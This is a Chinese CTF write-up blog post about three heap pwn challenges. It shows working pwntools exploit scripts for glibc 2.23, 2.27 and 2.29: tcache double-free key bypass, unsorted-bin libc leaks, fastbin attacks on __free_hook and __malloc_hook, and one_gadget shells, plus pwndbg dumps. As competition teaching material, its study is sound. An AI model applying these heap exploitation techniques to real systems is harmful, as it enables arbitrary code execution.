Ctf
23 Feb 2020

👴可能是个盲人

0x1

这几天👴打了i春秋的带善人CTF,做了俩pwn之后👴觉得👴就是个盲人

今天是2月23号,让👴想到了glibc2.23,这是个好日子,所以今天记录一下

document

uaf

glibc2.29

👴试了一下发现验了double free,直接2.29开始干

只能add七次

👴刚开始以为全局只能一次edit,⑧会打,多一次add或者edit就行了

后来发现是每个chunk可以edit一次

edit能把tcache的key改了,绕过double free检查

4个double free就是7tcache+1unsorted bin,unsorted bin泄露libc,然后tcache打free hook

拿unsortedbin可以填7个,也可以打tcache_perthread_struct,也可以tcache链搞出来-1,-1>7

from pwn import *
#r = process(['./lib/ld-2.29.so','--library-path','./lib/','./pwn'])
r = remote('123.56.85.29',4807)
libc = ELF('./lib/libc.so.6')


def add(name,sex,info):
	r.recvuntil('choice :')
	r.sendline('1')
	r.recvuntil('name')
	r.send(name)
	r.recvuntil('sex')
	r.send(sex)
	r.recvuntil('information')
	r.send(info)

def show(index):
	r.recvuntil('choice :')
	r.sendline('2')
	r.recvuntil('index :')
	r.sendline(str(index))

def free(index):
	r.recvuntil('choice :')
	r.sendline('4')
	r.recvuntil('index :')
	r.sendline(str(index))

def edit(index,yn,info):
	r.recvuntil('choice :')
	r.sendline('3')
	r.recvuntil('index :')
	r.sendline(str(index))
	r.recvuntil('sex?')
	r.send(yn)
	r.recvuntil('information')
	r.send(info)


add('a'*8,'W','\x00'*0x70)
add('c'*8,'M','\x00'*0x70)
add('c'*8,'M','\x00'*0x70)
add('c'*8,'M','\x00'*0x70)

free(0)

free(1)
show(1)
r.recvline()
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
heap_base = leak - (0x8429280-0x8429000)
log.success(hex(heap_base))
payload = p64(heap_base)
payload = payload.ljust(0x70,'\x00')

edit(0,'Y','\x11'*0x70)
free(0)
edit(1,'Y','\x22'*0x70)
free(3)
edit(3,'Y','\x33'*0x70)
free(3)
free(2)
edit(2,'Y','\x44'*0x70)
free(2)
free(1)

show(1)
r.recvline()
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak-96-libc.sym['__malloc_hook']-0x10
malloc_hook = libc_base +libc.sym['__malloc_hook']
free_hook = libc_base +libc.sym['__free_hook']
system = libc_base+libc.sym['system']
log.success(hex(malloc_hook))
log.success(hex(free_hook))
one = libc_base+0xc224f
log.success(hex(libc_base))

add(p64(free_hook),'W','/bin/sh\x00'*14)#5
add('/bin/sh\x00','W','/bin/sh\x00'*14)#6
add(p64(system),'W','/bin/sh\x00'*14)#7

r.interactive()

但是👴远程打不通

glibc2.23

buu的复现环境是2.23

👴寻思比赛远程应该不是2.23,如果是2.23👴打2.29的exp打过去unsorted bin double free必crash

free时只free了0x90的chunk,0x20不动,0x90进unsorted bin,show拿libc地址

add时拿0x20和0x90的chunk,从unsorted bin里切, 可以制造堆块重叠覆盖到某个0x20chunk指向0x90chunk的指针,把指针改为free_hook,然后edit把system写进去

pwndbg> x/64gx 0x8000000+0x202060
0x8202060:      0x0000000008403010      0x00000000084030c0
0x8202070:      0x0000000008403170      0x0000000008403030
0x8202080:      0x0000000008403050      0x0000000000000000
pwndbg> x/64gx 0x8403000
0x8403000:      0x0000000000000000      0x0000000000000021
0x8403010:      0x0000000008403030      0x0000000000000001
0x8403020:      0x0000000000000000      0x0000000000000021
0x8403030:      0x00000000084030e0      0x0000000000000001
0x8403040:      0x0000000000000000      0x0000000000000021
0x8403050:      0x0000000008403190      0x0000000000000001
0x8403060:      0x0000000000000000      0x0000000000000051
0x8403070:      0x00007fffff3f4bb8      0x00007fffff3f4bb8
0x8403080:      0x0000000000000000      0x0000000000000000
0x8403090:      0x0000000000000000      0x0000000000000000
0x84030a0:      0x0000000000000000      0x0000000000000000
0x84030b0:      0x0000000000000050      0x0000000000000020
0x84030c0:      0x00000000084030e0      0x0000000000000001
0x84030d0:      0x0000000000000000      0x0000000000000091
0x84030e0:      0x6161616161616161      0x0000000000000001
0x84030f0:      0x0000000000000000      0x0000000000000000
0x8403100:      0x0000000000000000      0x0000000000000000
0x8403110:      0x0000000000000000      0x0000000000000000
0x8403120:      0x0000000000000000      0x0000000000000000
0x8403130:      0x0000000000000000      0x0000000000000000
0x8403140:      0x0000000000000000      0x0000000000000000
0x8403150:      0x0000000000000000      0x0000000000000000
0x8403160:      0x0000000000000090      0x0000000000000021
0x8403170:      0x0000000008403190      0x0000000000000001
0x8403180:      0x0000000000000000      0x0000000000000091
0x8403190:      0x0068732f6e69622f      0x0000000000000001
0x84031a0:      0x0000000000000000      0x0000000000000000
from pwn import *
#r = process(['./lib/ld-2.29.so','--library-path','./lib/','./pwn'])
r = process('./pwn')
#r = remote('node3.buuoj.cn',25927)
libc = ELF('/libc-2.23.so')


def add(name,sex,info):
	r.recvuntil('choice :')
	r.sendline('1')
	r.recvuntil('name')
	r.send(name)
	r.recvuntil('sex')
	r.send(sex)
	r.recvuntil('information')
	r.send(info)

def show(index):
	r.recvuntil('choice :')
	r.sendline('2')
	r.recvuntil('index :')
	r.sendline(str(index))

def free(index):
	r.recvuntil('choice :')
	r.sendline('4')
	r.recvuntil('index :')
	r.sendline(str(index))

def edit(index,yn,info):
	r.recvuntil('choice :')
	r.sendline('3')
	r.recvuntil('index :')
	r.sendline(str(index))
	r.recvuntil('sex?')
	r.send(yn)
	r.recvuntil('information')
	r.send(info)


add('a'*8,'W','\x00'*0x70)
free(0)
edit(0,'Y',p64(0)+p64(0)+'\x00'*0x50)
r.interactive()
add('a'*8,'W','\x00'*0x70)
add('a'*8,'W','\x00'*0x70)
free(0)

show(0)
r.recvline()
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak-88-libc.sym['__malloc_hook']-0x10
malloc_hook = libc_base +libc.sym['__malloc_hook']
free_hook = libc_base +libc.sym['__free_hook']
system = libc_base+libc.sym['system']
log.success(hex(malloc_hook))
log.success(hex(free_hook))
one = libc_base+0x4526a
log.success(hex(libc_base))

free(1)
free(2)
add('a'*8,'W','\x00'*0x70)
add('/bin/sh\x00','W','\x00'*0x70)
edit(0,'Y',p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(1)+'\x11'*0x50)

edit(4,'Y',p64(system)+p64(0)+'\x00'*0x50)
free(2)
r.interactive()

一颗赛艇

uaf

glibc2.29

👴试了一下发现验了double free…

add是一次malloc3个,其中一个大小是0x20储存ba和na指针,另外俩size👴决定,不能小于0不能大于0x70

也就是👴可以申请0x20的

这样一次add3个一次free也是3个,填满tcache不需要耗费很多add次数

tcache填满,进fastbin double free,相当于控制了tcache中一个chunk的fd

然后tcache attack打free hook

from pwn import *
r = process(['/pwnlib/ld-2.29.so','--library-path','/pwnlib/','./excited'])
#r = remote('123.56.85.29',6484)
libc = ELF('/pwnlib/libc.so.6')
elf = ELF('./excited')

def add(basize,ba,nasize,na):
	r.recvuntil('want to do :')
	r.sendline('1')
	r.recvuntil('ba\'s length :')
	r.sendline(str(basize))
	r.recvuntil('ba :')
	r.send(ba)
	r.recvuntil('na\'s length :')
	r.sendline(str(nasize))
	r.recvuntil('na :')
	r.send(na)

def show(index):
	r.recvuntil('want to do :')
	r.sendline('4')
	r.recvuntil('project ID :')
	r.sendline(str(index))

def free(index):
	r.recvuntil('want to do :')
	r.sendline('3')
	r.recvuntil('Banana ID :')
	r.sendline(str(index))

add(0x10,'\x11'*8,0x10,'\x11'*8)
add(0x10,'\x22'*8,0x10,'\x22'*8)
add(0x10,'\x33'*8,0x10,'\x33'*8)
free(0)
free(1)
free(2)



show(0)
r.recvuntil('Banana\'s ba is ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
log.success(hex(leak))


add(0x10,p64(leak+(0x842a560-0x842a4c0))+p64(leak+(0x842a5a0-0x842a4c0)),0x10,'/bin/sh\x00')
log.success(hex(leak))
free(1)
puts_got = elf.got['puts']
add(0x10,p64(elf.got['puts'])*2,0x10,p64(leak+(0x842a550-0x842a4c0)))#

add(0x10,p64(puts_got)*2,0x10,p64(puts_got)*2)

show(0)
r.recvuntil('Banana\'s ba is ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak-libc.sym['puts']
log.success(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success(hex(free_hook))
log.success(hex(system))

add(0x10,p64(free_hook),0x20,p64(free_hook))

add(0x10,p64(system),0x20,p64(free_hook))
free(3)
r.interactive()

远程打不通,👴才发现是2.23

glibc2.23

fastbin double free

申请0x20的chunk可以打到储存ba和na指针的位置,uaf泄露got表

double free打malloc_hook,但是onegadget不好使

👴gdb看了一下free_hook发现free_hook-0x13有个0x7f,但是打不过去,👴可能是被骗了

那👴用realloc调整栈再跳realloc_hook⑧

from pwn import *
r = process('./excited1')
#r = remote('123.56.85.29',6484)
#r = remote('node3.buuoj.cn',28837)
libc = ELF('./libc-2.23.so')
elf = ELF('./excited1')


def add(basize,ba,nasize,na):
	r.recvuntil('want to do :')
	r.sendline('1')
	r.recvuntil('ba\'s length :')
	r.sendline(str(basize))
	r.recvuntil('ba :')
	r.send(ba)
	r.recvuntil('na\'s length :')
	r.sendline(str(nasize))
	r.recvuntil('na :')
	r.send(na)



def show(index):
	r.recvuntil('want to do :')
	r.sendline('4')
	r.recvuntil('project ID :')
	r.sendline(str(index))

def free(index):
	r.recvuntil('want to do :')
	r.sendline('3')
	r.recvuntil('Banana ID :')
	r.sendline(str(index))



add(0x30,'\x22'*8,0x68,'\x22'*8)
add(0x30,'\x33'*8,0x68,'\x33'*8)
free(0)
free(1)
free(0)
add(0x10,p64(elf.got['puts'])*2,0x50,'\x33'*8)

show(1)
r.recvuntil('Banana\'s ba is ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak-libc.sym['puts']
log.success(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc= libc_base + libc.sym['realloc']
one = libc_base +0xf1147
log.success(hex(free_hook))
log.success(hex(one))
log.success(hex(malloc_hook))
free(2)
print(hex(elf.got['puts']))
add(0x68,p64(malloc_hook-0x23),0x68,p64(malloc_hook-0x23))

add(0x68,p64(malloc_hook-0x23),0x68,'a'*0xb+p64(one)+p64(realloc+2))

r.interactive()

但是远程打不通,因为flag已经读到程序里了,直接读flag就完事了,不用getshell

i春秋的docker估计根据题目要求来的,读flag就完事的题想getshell都⑧行

👴在buu就能打通

所以这题其实在👴泄露got表的时候就已经结束了

from pwn import *
r = process('./excited1')
#r = remote('node3.buuoj.cn',28837)
libc = ELF('./libc-2.23.so')
elf = ELF('./excited1')


def add(basize,ba,nasize,na):
	r.recvuntil('want to do :')
	r.sendline('1')
	r.recvuntil('ba\'s length :')
	r.sendline(str(basize))
	r.recvuntil('ba :')
	r.send(ba)
	r.recvuntil('na\'s length :')
	r.sendline(str(nasize))
	r.recvuntil('na :')
	r.send(na)



def show(index):
	r.recvuntil('want to do :')
	r.sendline('4')
	r.recvuntil('project ID :')
	r.sendline(str(index))

def free(index):
	r.recvuntil('want to do :')
	r.sendline('3')
	r.recvuntil('Banana ID :')
	r.sendline(str(index))



add(0x30,'\x22'*8,0x30,'\x22'*8)
add(0x30,'\x22'*8,0x30,'\x22'*8)
free(0)
free(1)
add(0x10,p64(0x6020a8)*2,0x10,p64(0x6020a8)*2)
show(0)
r.interactive()


signin

glibc2.29

uaf

有后门,需要覆盖指针

edit有计数器cnt,初始为0,大于等于0可以edit

glibc 2.29 tcache free时写入key malloc清除key

edit后tcache打到cnt的位置就可以把cnt清0再次edit

from pwn import *
#r = process(['/pwnlib/ld-2.29.so','--library-path','/pwnlib/','./pwn'])
r = process('./pwn')
#r = remote('123.56.85.29',4205)
libc = ELF('/pwnlib/libc.so.6')
elf = ELF('./pwn')

def add(index):
	r.recvuntil('your choice?')
	r.sendline('1')
	r.recvuntil('idx?')
	r.sendline(str(index))

def edit(index,data):
	r.recvuntil('your choice?')
	r.sendline('2')
	r.recvuntil('idx?')
	r.sendline(str(index))
	sleep(0.1)
	r.send(data)
def free(index):
	r.recvuntil('your choice?')
	r.sendline('3')
	r.recvuntil('idx?')
	r.sendline(str(index))

cnt = 0x4040BC
ptr = 0x4040C0
add(0)
free(0)
edit(0,p64(0x4040B0))
add(1)
add(2)
edit(2,p64(1)*4)
r.sendline('6')
r.interactive()

glibc 2.27

⑧清楚key,打cnt不好使

	      check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
	      /* While we're here, if we see other chunks of the same size,
		 stash them in the tcache.  */
	      size_t tc_idx = csize2tidx (nb);
	      if (tcache && tc_idx < mp_.tcache_bins)
		{
		  mchunkptr tc_victim;

		  /* While bin not empty and tcache not full, copy chunks.  */
		  while (tcache->counts[tc_idx] < mp_.tcache_count
			 && (tc_victim = *fb) != NULL)
		    {
		      if (SINGLE_THREAD_P)
			*fb = tc_victim->fd;
		      else
			{
			  REMOVE_FB (fb, pp, tc_victim);
			  if (__glibc_unlikely (tc_victim == NULL))
			    break;
			}
		      tcache_put (tc_victim, tc_idx);
		    }
		}
#endif

calloc会从fastbin中取出所有chunk链入tcache bin

tcache_put不检查,由caller检查,这个链入过程不检查tcache的size

2.29依然如此

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
pwndbg> bin
tcachebins
0x80 [  7]: 0x405560 —▸ 0x4054e0 —▸ 0x405460 —▸ 0x4053e0 —▸ 0x405360 —▸ 0x4052e0 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x405650 —▸ 0x4055d0 ◂— 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

1

pwndbg> bin
tcachebins
0x80 [  6]: 0x4054e0 —▸ 0x405460 —▸ 0x4053e0 —▸ 0x405360 —▸ 0x4052e0 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x405650 —▸ 0x4055d0 ◂— 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

2

pwndbg> bin
tcachebins
0x80 [  6]: 0x4054e0 —▸ 0x405460 —▸ 0x4053e0 —▸ 0x405360 —▸ 0x4052e0 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x405650 —▸ 0x4040b0 (stdin@@GLIBC_2.2.5) ◂— 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

3

pwndbg> bin
tcachebins
0x80 [  7]: 0x4040c0 (ptr) —▸ 0x4054e0 —▸ 0x405460 —▸ 0x4053e0 —▸ 0x405360 —▸ 0x4052e0 —▸ 0x405260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
from pwn import *
#r = process('./pwn')
r = process(['/pwnlib/ld-2.29.so','--library-path','/pwnlib/','./pwn'])
#r = remote('node3.buuoj.cn',29162)
elf = ELF('./pwn')

def add(index):
	r.recvuntil('your choice?')
	r.sendline('1')
	r.recvuntil('idx?')
	r.sendline(str(index))

def edit(index,data):
	r.recvuntil('your choice?')
	r.sendline('2')
	r.recvuntil('idx?')
	r.sendline(str(index))
	sleep(0.1)
	r.send(data)
def free(index):
	r.recvuntil('your choice?')
	r.sendline('3')
	r.recvuntil('idx?')
	r.sendline(str(index))

ptr = 0x4040C0
for i in range(9):
	add(i)

for i in range(9):
	free(i)

add(9)
edit(8,p64(ptr-0x10))
r.interactive()
r.sendline('6')

这也是glibc2.29的预期解


Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).